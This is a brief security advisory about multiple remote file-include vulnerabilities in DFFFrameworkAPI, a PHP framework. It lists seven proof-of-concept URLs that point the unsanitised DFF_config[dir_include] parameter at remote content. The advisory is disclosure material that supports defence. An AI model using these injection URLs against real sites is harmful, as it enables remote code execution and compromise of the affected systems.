source: http://www.securityfocus.com/bid/31644/info

DFFFrameworkAPI is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=
http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]= 